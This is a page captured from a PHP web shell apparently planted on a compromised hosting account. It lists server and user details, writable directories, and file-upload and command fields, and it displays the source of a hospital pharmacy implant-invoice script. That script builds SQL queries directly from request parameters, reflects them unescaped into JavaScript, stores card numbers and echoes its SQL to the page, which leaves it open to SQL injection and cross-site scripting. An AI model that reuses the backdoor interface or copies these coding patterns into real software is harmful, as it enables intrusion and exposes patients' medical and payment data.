Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.129.210.102
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/Pharmacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/Pharmacy/ImplantInvoice.php
<?php
include("dbconnection.php");
require_once('../../DBManager.php');

if(isset($_GET[delid]))
{
    $sql ="DELETE FROM patient_invace WHERE invaceid='$_GET[delid]'";
    $qsql=mysqli_query($con,$sql);
    if(mysqli_affected_rows($con) == 1)
    {
        echo "<script>alert('Deleted successfully..');</script>";
    }
}


 if(isset($_POST['saveAmt'])) 
{
        for ($j = 0; $j < count($_POST['srno']); $j++) {
            
          $srno = $_POST['srno'][$j];
          $discount = $_POST['discount'];
          $pricetotal1=$_POST['pricetotal1'];
          $price=  $_POST['ImplantsumPrice'][$j];
         $paymentmode= $_POST['paymentmode'];
         $action=$_POST['action'];
         
         
         $c = $price - ($price * ($discount / 100));
         
         $updated_at=date('Y-m-d');
$sql2="UPDATE implant_slot SET discount='$discount',pricetotal='$c',UpgradeAmt='$c',price='$price',paymentmode='$paymentmode',action_implant='$_POST[action]', Updated_by='$updated_at' WHERE implant_Slot_id='$srno'";

$qsql2 = mysqli_query($con,$sql2);

      echo "<script>alert('Paid successfully..');</script>";
    echo "<script>window.location='showpage_implant_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$srno'</script>;</script>";
}
}

if(isset($_GET['Implant_srno'])){
        
           $CalAmt=$_POST['CalAmt'];
           $srno = $_GET['srno'];
  $implant_charge="UPDATE implant_charge SET CalculateAmt='0',PaymenyStatus='Clear' WHERE srno='$srno'";

$qimplant_charge = mysqli_query($con,$implant_charge);  
if($qimplant_charge==1){
        echo "<script>alert('Paid abc successfully..');</script>";
    echo "<script>window.location='showpage_implant_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$_GET[Implant_srno]'</script>;</script>";
}

}


if(isset($_POST['saveAmt'])){
        for ($i = 0; $i < count($_POST['batchno']); $i++) {
    $ImplantName=   $_POST["ImplantName"][$i];
    $Category=  $_POST["Category"][$i];
    $qtyGiven=  $_POST["qtyGiven"][$i];
    $price=  $_POST["ImplantsumPrice"][$i];
   $updated_at=date('Y-m-d');
   $created_at=date("F d, Y / h:i:s A");
   
       $batchno= $_POST["batchno"][$i];
    $HSN= $_POST["HSN"][$i];
    $GSTfinal= $_POST["GSTfinal"][$i];
    
   $gstper= $_POST["gstper"][$i];
    $expireDate=  $_POST["expireDate"][$i];
     $DisPrice= $_POST["DisPrice"][$i];
    $srno = $_POST['srno'][$i];
    $Fprice = $_POST['ImplantFprice'][$i];
    $invoice=mt_rand(1000,99999);
    $PaidAmt=$_POST['PaidAmt'];
    $typevisit=$_POST['typevisit'];
    $CalAmt=round($_POST['CalAmt']);
    $implant_id = $_POST['implant_id'][$i];
    $inventory_id = $_POST['inventory_id'][$i];
    $Fgst=$_POST['Implant_Fgst'][$i];
    
    
    $discount = $_POST['discount'];
    $res = $price - ($price * ($discount / 100));
    $GST_res = $GSTfinal - ($GSTfinal * ($discount / 100));
 
    $sql="INSERT INTO `implant_charge`(`prescriptionid`, `patientid`, `hospitalid`, `implant_id`,`ImplantName`, `inventory_id`, `invoice_No`,`expireDate`, `Qty`, `price`,`discount`, `Category`, `batch_no`, `HSN_no`, `TotalAmt`, `FinalAmt`, `GST`, `GSTPercantage`, `DiscountPrice`, `PriceTotal1`, `GST_Total`, `GST_Final_Amt`, `PaymentMode`, `srno`, `srno2`, `CardHolder`, `CardNo`, `UPI_NO`, `Sale_date`, `PaidAmt`, `TypeVisit`, `CalculateAmt`, `FinalGST`, `PaymenyStatus`,`entered_by`, `created_at`, `updated_at`) VALUES ('$_GET[prescriptionid]', '$_GET[patientid]','$_POST[userno]','$implant_id','$ImplantName','$inventory_id','$invoice','$expireDate','$qtyGiven','$price','$_POST[discount]','$Category','$batchno','$HSN','$_POST[TotalAmt]','$Fprice','$GSTfinal','$gstper','$res','$_POST[pricetotal1]','$GST_res','$_POST[ImplantTotalGST]','$_POST[paymentmode]','$_POST[srno2]','$srno','$_POST[CardHolder]','$_POST[CardNumber]','$_POST[UPI_Number]','$_POST[saledate]','$PaidAmt','$typevisit','$CalAmt','$Fgst','$_POST[action]','$_POST[entered_by]','$created_at','$updated_at')";
 echo $sql;
    $Implant_result=mysqli_query($con,$sql);
    $last_id = $con->insert_id;
        }   


?>


 <!-- /.card-header -->
             <div class="card-body">
                  <?php
                  if($Implant_result==1){
     
    echo "<script>window.location='showpage_implant_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$_POST[srno2]'</script>;</script>";
    }else{
        echo '<div class="alert">
  <span class="closebtn">&times;</span>  
  <strong>Not!</strong> Allowed.
</div>';
    }
    }
                  ?>
                 
                
                 
                 <?php
               $sqlMS = "SELECT * FROM implant_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action_implant='Paid'";
	$qMS = mysqli_query($con,$sqlMS);
	$rMS = mysqli_fetch_array($qMS);
	if($rMS['action_implant']=='Paid'){
	    ?>
             <table>
                    
                   <thead>
                         
                         <th>Date & Time</th>
                         <th>Invoice</th>
                         <th>Towards</th>
                         
                         <th>Action</th>
                         
                     </thead>
                     <tbody>
                         
                         <form method="post" enctype='multipart/form-data'
                <?php         $medicine_charge="SELECT * FROM `implant_charge` WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND status='1'";
$QMc=mysqli_query($con,$medicine_charge);
while($RowMc=mysqli_fetch_array($QMc)){

$sqlpatient = "SELECT * FROM implant_slot WHERE prescriptionid='$RowMc[prescriptionid]' AND patientid='$RowMc[patientid]'";
$qsqlpatient = mysqli_query($con,$sqlpatient);
if($rsp = mysqli_fetch_array($qsqlpatient))
	{
	
	$site_users = "SELECT * FROM site_users WHERE userno='$rsp[entered_by]'";
	$qSU = mysqli_query($con,$site_users);
	if($rSU = mysqli_fetch_array($qSU)){
                         ?>
                         <tr>
                             <td><?php echo $RowMc['created_at']; ?></td>
                             <td><?php echo $RowMc['srno']; ?>
                             <input type='hidden' name='srno' value='<?php echo $RowMc['srno']; ?>'>
                             </td>
                             <td>
                              
                            <lable> Sale</lable>
                             <br>
                              <?php if( $RowMc['TypeVisit']=='IPD'){
                              
                               $ClaerAmt=$con->query("SELECT * FROM `implant_charge` Where  prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND srno2='$RowMc[srno]'");
               if($RowClearAmt=$ClaerAmt->fetch_assoc()){
                              ?>
                            <b style='color:red;'> Due  
                            <?php echo $RowMc['CalculateAmt']; ?> 
                             <input type='hidden' name='CalculateAmt' value='<?php echo $RowMc['CalculateAmt']; ?>'>
                            </b> 
                            <?php } } ?>
                             </td>
                            
                            <td><?php echo "<a href='showpage_implant_invoice.php?prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&srno=$RowMc[srno]'><i class='fa fa-eye' aria-text='true' style='font-size:20px; color:orange;padding:10px'></i></a>
              "; ?>
               <?php 
               
               if($RowMc['TypeVisit']=='IPD'){ 
               $ClaerAmt=$con->query("SELECT * FROM `implant_charge` Where PaymenyStatus='Due' AND prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]'  AND srno2='$RowMc[srno]'");
               if($RowClearAmt=$ClaerAmt->fetch_assoc()){
               
               ?>
                <a href='billingset.php?Implant_srno=<?php echo $RowMc['srno']  ?>&prescriptionid=<?php echo $_GET['prescriptionid']  ?>&patientid=<?php echo $_GET['patientid']  ?>' class='btn btn-info'>Pay</a>
              <?php
               }
                  
              }
              ?>
              </td>
              
             
                         </tr>
                      
                         
                         <?php }}} ?>
                         <!--<tr><td>Total Due</td><td>250</td></tr>-->
                         <!--return data-->
                         
                          <?php
                        
      $RetuneMedicine="SELECT * FROM `RetuneImplant` WHERE PrescriptionId=$_GET[prescriptionid] AND PatientId=$_GET[patientid] AND Status='1'";
    $QRM=mysqli_query($con,$RetuneMedicine);
    while($RowRM=mysqli_fetch_array($QRM))  {      
	

                         
                         ?>
                         <tr>
                             <td><?php echo $RowRM['CreatedAt']; ?></td>
                             <td><?php echo $RowRM['ReturnId']; ?></td>
                             <td>
                            <lable> Return</lable>
                             
                             </td>
                            
                                <td><?php echo "<a href='PaidReturnConsumable.php?ReturnId=$RowRM[ReturnId]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]'><i class='fa fa-eye' aria-text='true' style='font-size:20px; color:orange; padding:10px'></i></a>
              "; ?></td>
                         </tr>
                         <?php } 
                          ?>
                     </tbody>
                     </form>
                     
                 </table>     
                 
          <?php } ?>       
               <br>
               <?php
               $sqlMS = "SELECT * FROM implant_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action_implant='Disperse'";
	$qMS = mysqli_query($con,$sqlMS);
	$rMS = mysqli_fetch_array($qMS);
	if($rMS['action_implant']=='Disperse'){
	    ?>
	    
	    <table style='width:100%' class="table table-bordered table-hover">
	         <form method="post" enctype='multipart/form-data'>
                <table id="myTable" class="table table-bordered table-hover"  style='width:100%;'>
                  <thead style='width:100%;'>
                  <tr>
             <th><strong>Created Towards</strong></th>
          <th><strong>Consumable Details</strong></th><th><strong>Batch Number</strong></th><th><strong>HSN Code</strong></th>
          
          <th><strong>Expiry Date</strong></th><th><strong>Quantity</strong></th><th><strong>MRP</strong></th>
          <th><strong>GST</strong></th>
          
            <th><strong>Status</strong></th>
       <th><strong><section class="content-header">Action</section> </strong></th>             
        </tr>
      
                  </thead>
<?php
include("dbconnection.php");
$sql ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qsql = mysqli_query($con,$sql);
while($rs = mysqli_fetch_array($qsql))
{
    	$sqlpatient2 = "SELECT * FROM implant_slot WHERE prescriptionid='$_GET[prescriptionid]' AND action_implant='Disperse' OR  prescriptionid='$_GET[prescriptionid]' AND action_implant='Paid'";;
	$qsqlpatient2 = mysqli_query($con,$sqlpatient2);
	while($rsp2 = mysqli_fetch_array($qsqlpatient2))
	{
	    
	$sqlpatient1 = "SELECT * FROM site_users WHERE userno='$rsp2[entered_by]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    $sql1 ="SELECT * FROM implant_inventory WHERE implant_id='$rsp2[implant_id]' AND batchno='$rsp2[batchno]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
	{
	$sql191 ="SELECT * FROM implant_stock WHERE implant_id='$rh1[implant_id]'";
		$qsql191 = mysqli_query($con,$sql191);
	while($rh191 = mysqli_fetch_array($qsql191))
	{
	    
	      $sizefinal=$rh1[mrp]/$rh191[Size];
                  $pricetotal1=$sizefinal*$rsp2[qtyGiven];
                  $pricetotal=round($pricetotal1);
                
	    
	    
	    
?>
<?php 
if($rsp2['action_implant']=='Disperse' ){
    echo " <tbody>
            <tr>   <td>&nbsp;$rsp2[created_at] <br>$rsn[name]
            <input name='userno' class='name' type='hidden' value='$rsn[userno]' />
            <input name='entered_by' class='entered_by' type='hidden' value='$rs[entered_by]' />
            
              <input name='typevisit' class='typevisit' type='hidden' value='$rs[typevisit]' />
            
            <br>
            </td>
                    <td>
              		";

	
echo "<b></b>$rh191[ImplantName]  ";


echo "<br>
<b>";


               $disGST=$pricetotal/100;
                $GSTfinal1=$disGST*$rh1[gst]; 
                $GSTfinal=round($GSTfinal1) ;
                
                $GRANDTOTAL=$rsp2[pricetotal];
   echo " <br>
<b>";             
     
     
     
             echo"
                <input type='hidden' name='action' value='Due'>
        <input type='hidden' id='srno' name='srno[]' value='$rsp2[implant_Slot_id]'>
         <input type='hidden' id='srno2' name='srno2' value='$rsp2[implant_Slot_id]'>
<input class='DisPrice' id='DisPrice' type='hidden' name='DisPrice[]' value='$rsp2[pricetotal]'/>
<input type='hidden' value='$rh1[implant_id]' name='implant_id[]'>

<input type='hidden' value='$rh1[inventory_id]' name='inventory_id[]'>


<input class='ImplantsumPrice' id='ImplantsumPrice$rsp2[implant_id]' type='hidden' name='ImplantsumPrice[]' value='$pricetotal' style='color:red;'/>
<input class='ImplantFprice' id='ImplantFprice$rsp2[implant_id]' type='hidden' name='ImplantFprice[]' />";
?>


  <script>
        $(document).on("change keyup blur", "#Implant_chDiscount", function() {
            var Implant_main21 = $('#ImplantsumPrice<?php echo $rsp2['implant_id'] ?>').val();
            var Implant_disc21 = $('#Implant_chDiscount').val();
            var Implant_dec21 = (Implant_disc21 / 100).toFixed(2); //its convert 10 into 0.10
            var Implant_mult21 = Implant_main21 * Implant_dec21; // gives the value for subtract from main value
            var Implant_discont21 = Implant_main21 - Implant_mult21;
            $('#ImplantFprice<?php echo $rsp2['implant_id'] ?>').val(Implant_discont21);
        });
    </script>
    
    
    <input class='Implant_Fgst' id='Implant_Fgst<?php echo $rsp2['implant_Slot_id'] ?>' type='hidden' name='Implant_Fgst[]'  style='color:red;' />
<?php
echo"
<input name='ImplantName[]' class='ImplantName' type='hidden' value='$rh191[ImplantName]' />
<input name='Category[]' class='Category' type='hidden' value='$rh191[Category]' />
<input name='qtyGiven[]' id='qty' class='qtyGiven' type='hidden' value='$rsp2[qtyGiven]' />

<input name='batchno[]' class='batchno' type='hidden' value='$rh1[batchno]' />
<input name='HSN[]' class='HSN' type='hidden' value='$rh1[HSN]' />
<input name='GSTfinal[]' id='Implantgst$rsp2[implant_Slot_id]' class='Implantgst' type='hidden' value='$GSTfinal' />
<input name='gstper[]' id='gstper' class='gstper' type='hidden' value='$rh1[gst]' />
<input name='expireDate[]' id='expireDate' class='expireDate' type='hidden' value='$rh1[expiryDate]' />

";
echo "</td>
<td>$rh1[batchno]</td>
<td>$rh1[HSN]</td>
<td>$rh1[expiryDate]</td>
<td>$rsp2[qtyGiven] </td><td>";
echo "$pricetotal";

echo "</td><td><b>$rh1[gst] % </b><br>  $GSTfinal


</td>
              			<td>";
              			
              			
              			
              		  
                        $consumable_charge="SELECT * FROM implant_charge Where  AND prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND batch_no='$rh1[batchno]'";
                        $qconsumable_charge=mysqli_query($con,$consumable_charge);
                        $RowMedicineCharge=mysqli_fetch_assoc($qconsumable_charge);
                    
                    $status=$RowMedicineCharge['status'];
                    $batchNumber=$RowMedicineCharge['batch_no'];
if($status == '1'){
    echo "Paid";
} else{
    echo "Due";
}
         echo "</td>
                                    <td><section class='content-header'>";
 
  if($batchNumber == ''){
    echo "<a href='billing.php?inventory_id=$rh1[inventory_id]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&implant_Slot_id=$rh1[implant_Slot_id]&batchno=$rh1[batchno]&srno=$rsp2[srno]&mcid=$RowMedicineCharge[id]' ><i class='fa fa-pencil-square-o' style='font-size:30px;'></i></a>"; 
    
    //echo "| <a href='medicinebill.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]&srno=$rsp2[srno]' ><i class='fa fa-eye' style='font-size:30px;'></i></a>";
} 
else{
    echo "<a href='add_implant_qty.php?inventory_id=$rh1[inventory_id]&prescriptionid=$_GET[prescriptionid]&patientid=$_GET[patientid]&implant_Slot_id=$rh1[implant_Slot_id]&batchno=$rh1[batchno]&srno=$rsp2[srno]&mcid=$RowMedicineCharge[id]' >Return</a>";
}
 

                                    
                                echo    "
                                    
                                    
                                     
                                    
                                    
                                    
                                    
                                    <br> </section></td>
          </tr>                   
          
          ";
}
}
}
}
}


?>
</tbody>
<?php 
    




?>

  <tfoot>
   
   
    
   <tr>
   <?php
        $addaspatient ="SELECT * FROM addaspatient WHERE patientid='$_GET[patientid]' AND prescriptionid='$_GET[prescriptionid]'";
$qaddaspatient = mysqli_query($con,$addaspatient);
$raddaspatient = mysqli_fetch_array($qaddaspatient);
   if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
      ?> 
       <td><p style='margin-top:150px;'>Due Amt</p></td> 
   <td>  
<?php echo "
<input type='text' name='CalAmt' id='Implant_CalAmt' class='form-control' readonly placeholder='Due Amt' style='margin-top:140px;'>";

  ?>  </td>
<?php   }
   
     ?>
    <td colspan=7>
        <span style='float:right;'>
        <b>Gross Amt.  :</b></span>
        <br>
        
        
        
        
        <span style='float:right;'>
        <b>GST .  :</b></span>
        
        <br>
        
        <span style='float:right;'>
        <b>Discount.  :</b></span><br><br>
        <span style='float:right;'>
            <b>Grand Total  :</b></span>
            
        <!--    <br><br>-->
        <!--<span style='float:right;'>-->
        <!--    <b>GST Final  :</b></span>-->
            <br><br>
        <span style='float:right;'>
            <b>Payment Mode  :</b></span>
            
             <br><br> 
             <?php
             if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
             ?>
        <span style='float:right;'>
            <b>Pay  :</b>
            
            </span>
            <?php } ?>
        </td>
    <td colspan='3'> <?php
date_default_timezone_set("Asia/Kolkata");   //India time (GMT+5:30)
$date= date('Y-m-d');
        echo"
           
         <b><i class='fa fa-inr'></i>  <span align='right' id='ImplantPrice'></b></span>
         
       <div class=''> </div>
      <div class=''> <b><i class='fa fa-inr'></i> <span align='right' id='ImplantAddGST'></span></div>
   
      
 
        <input type='hidden' id='Implant_cBalance'>
   
              <div class=''><span><input type='text' name='discount' id='Implant_chDiscount' size='2' required></span></div>
             
           <div class=''> <input type='text' name='pricetotal1' size='2' id='Implant_result' required style='margin-top:5px;' readonly></span></div>
           
           
           <div class=''> <input type='hidden' name='ImplantTotalGST' size='2' id='ImplantTotalGST' required style='margin-top:5px;'>
           <input type='hidden' name='saledate' size='2' id='' value='$date' required style='margin-top:5px;'></span></div>
           
           
             <div class='checkbox'> <select name='paymentmode'>
             <option value='Cash'>Cash</option>
              <option value='Card'>Card</option>
               <option value='UPI'>UPI</option>
             </select></span></div>
           
 <div class=''>  <div class='Card box'><input name='CardHolder' id='CardHolder' class='CardHolder' type='text' placeholder='Enter Card Hoder' style='margin-top:5px;' />
     <input name='CardNumber' id='CardNumber' class='CardNumber' type='text' placeholder='Enter Card Number' style='margin-top:5px;'/>
     </div></div>
   <div class=''>  <div class='UPI box'><input name='UPI_Number' id='UPI_Number' class='UPI_Number' type='text' placeholder='Enter UPI Number' style='margin-top:5px;' />
     </div></div>
   

                     ";

if($raddaspatient['typevisit']=='IPD' || $raddaspatient['typevisit']=='Ipd_Emergency'){
echo "<input type='text' name='PaidAmt' id='ImplantPaidAmt' class='form-control'  placeholder='Amount' required>
<input type='hidden' name='typevisit' value='$raddaspatient[typevisit]' class='form-control' readonly><br>
";
}
    ?>
     <br>

              <br>
              
      </div>
      
      </div>
      
<script src="https://code.jquery.com/jquery-3.5.1.min.js"></script>
<script>
$(document).ready(function(){
    $("select").change(function(){
        $(this).find("option:selected").each(function(){
            var optionValue = $(this).attr("value");
            if(optionValue){
                $(".box").not("." + optionValue).hide();
                $("." + optionValue).show();
            } else{
                $(".box").hide();
            }
        });
    }).change();
});
</script>
          <script>
        $(document).on("change keyup blur", "#Implant_chDiscount", function() {
            var Implant_main2 = $('#Implant_GSTFinalAmt').val();
            var Implant_disc2 = $('#Implant_chDiscount').val();
            var Implant_dec2 = (Implant_disc2 / 100).toFixed(2); //its convert 10 into 0.10
            var Implant_mult2 = Implant_main2 * Implant_dec2; // gives the value for subtract from main value
            var Implant_discont2 = Implant_main2 - Implant_mult2;
            $('#ImplantTotalGST').val(Implant_discont2);
        });
    </script>
    
     <script>
        $(document).on("change keyup blur", "#Implant_chDiscount", function() {
            var Implant_main = $('#Implant_cBalance').val();
            var Implant_disc = $('#Implant_chDiscount').val();
            var Implant_dec = (Implant_disc / 100).toFixed(2); //its convert 10 into 0.10
            var Implant_mult = Implant_main * Implant_dec; // gives the value for subtract from main value
            var Implant_discont = Implant_main - Implant_mult;
            $('#Implant_result').val(Implant_discont);
        });
    </script>
       <script>
        $(document).on("change keyup blur", "#ImplantPaidAmt", function() {
            var Implant_result1 = $('#Implant_result').val();
            var Implant_PaidAmt = $('#ImplantPaidAmt').val();
           // var dec = (disc / 100).toFixed(2); //its convert 10 into 0.10
           // var mult = main * dec; // gives the value for subtract from main value
            var Implant_DueAmt = Implant_result1 - Implant_PaidAmt;
            $('#Implant_CalAmt').val(Implant_DueAmt);
        });
    </script>
    
       <!--<b><i class='fa fa-inr'></i> <span align='right' id="DisVal"></b></span><br><br>-->
    <!--<span id="sum">0</span><br>-->
    <input type="hidden" id="Implanttotal_value" name="TotalAmt" />
  
     <input type="hidden" id="ImplantDisPrice" name="FinalAmt" />
    <input type="hidden" id="Implant_GSTFinalAmt" name="Implant_GSTFinalAmt" />
</td>
</tr>

          </tfoot>
          
          
        </table>
        
        <?php $implant_slot = "SELECT * FROM implant_slot WHERE prescriptionid='$_GET[prescriptionid]' AND patientid='$_GET[patientid]' AND   action_implant='Disperse'";
    $qMS = mysqli_query($con,$implant_slot);
    $rMS = mysqli_fetch_array($qMS);
    
    if($rMS['action']=='Disperse' )
    ?>
    <b> <input id="addAll" type="submit" name="saveAmt" value="Pay" /><br />
      
                  
   
    
  
      
       </form>
<?php   }
           }    ?>  
        </table>
      
                 
                
     <br>
         
      <script type="text/javascript"
    src="http://ajax.microsoft.com/ajax/jQuery/jquery-1.4.2.min.js">
    </script>
    <script type="text/javascript">
         $(function() {
             $("#addAll").click(function() {
                 var add = 0;
                $(".ImplantsumPrice").each(function() {
                    add += Number($(this).val());
                   
                 });
                
                
                 // $("#val").text("Rs : " +add);
                    $('#Implanttotal_value').val(add);
                
                 var Disadd = 0;
                $(".DisPrice").each(function() {
                    Disadd += Number($(this).val());
                   
                 });
                
                
                 // $("#val").text("Rs : " +add);
                    $('#Final_value').val(Disadd);
                
              
    
             });
         });
         
         $(function() {
             $("#addAll").click(function() {
                
        
    
             });
         });
        
//         $(document).ready(function(){

//      //iterate through each textboxes and add keyup
//      //handler to trigger sum event
//      $(".txt").each(function() {

//          $(this).keyup(function(){
//              calculateSum();
//          });
//      });

//  });

//  function calculateSum() {

//      var sum = 0;
//      //iterate through each textboxes and add the values
//      $(".txt").each(function() {
            

//          //add only if the value is number
//          if(!isNaN(this.value) && this.value.length!=0) {
                
//              sum += parseFloat(this.value);
//          }

//      });
//      //.toFixed() method will roundoff the final sum to 2 decimal places
//      $("#sum").html(sum.toFixed(2));
//      $('#total_value').val(sum);
        
//  }



var close = document.getElementsByClassName("closebtn");
var i;

for (i = 0; i < close.length; i++) {
  close[i].onclick = function(){
    var div = this.parentElement;
    div.style.opacity = "0";
    setTimeout(function(){ div.style.display = "none"; }, 600);
  }
}
    </script>
    
      <script>
            
            var table = document.getElementById("myTable"), Implant_sumVal = 0;
            
            $(".ImplantsumPrice").each(function() {
                    Implant_sumVal += Number($(this).val());
                   
                 });
            document.getElementById("ImplantPrice").innerHTML = "" + Implant_sumVal;
            $('#Implanttotal_value').val(Implant_sumVal);
            
            
            
            
            // document.getElementById("NEWval").innerHTML = "" + sumVal;
            // $('#total_value2').val(sumVal);
            
            document.getElementById("ImplantPrice").innerHTML = "" + Implant_sumVal;
            $('#Implant_result').val(Implant_sumVal);
            
            document.getElementById("ImplantPrice").innerHTML = "" + Implant_sumVal;
            $('#Implant_cBalance').val(Implant_sumVal);
            console.log(Implant_sumVal);
            
             </script>
          
             <script>
               ///////////////////Dis Price///////////////////
              var table2 = document.getElementById("myTable"), Implant_DissumVal = 0;
            
            $(".DisPrice").each(function() {
                    Implant_DissumVal += Number($(this).val());
                   
                 });
            document.getElementById("DisVal").innerHTML = "" + Implant_DissumVal;
            $('#ImplantDisPrice').val(Implant_DissumVal);
            console.log(Implant_DissumVal);
             </script>
             
             <script>
             ////////////////////GST Final Value//////////////////
              var table3 = document.getElementById("myTable"), Implant_sumGST = 0;
            
           $(".Implantgst").each(function() {
                    Implant_sumGST += Number($(this).val());
                    console.log(Implant_sumGST);
                   

                 });
            document.getElementById("ImplantAddGST").innerHTML = "" + Implant_sumGST;
            $('#Implant_GSTFinalAmt').val(Implant_sumGST)
            console.log(Implant_sumGST);
          
        </script>
         
 <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.4.3/jquery.min.js"></script>
 <style>
.alert {
  padding: 20px;
  background-color: #f44336;
  color: white;
  opacity: 1;
  transition: opacity 0.6s;
  margin-bottom: 15px;
}

.alert.success {background-color: #04AA6D;}
.alert.info {background-color: #2196F3;}
.alert.warning {background-color: #ff9800;}

.closebtn {
  margin-left: 15px;
  color: white;
  font-weight: bold;
  float: right;
  font-size: 22px;
  line-height: 20px;
  cursor: pointer;
  transition: 0.3s;
}

.closebtn:hover {
  color: black;
}
</style>

Anon7 - 2022
AnonSec Team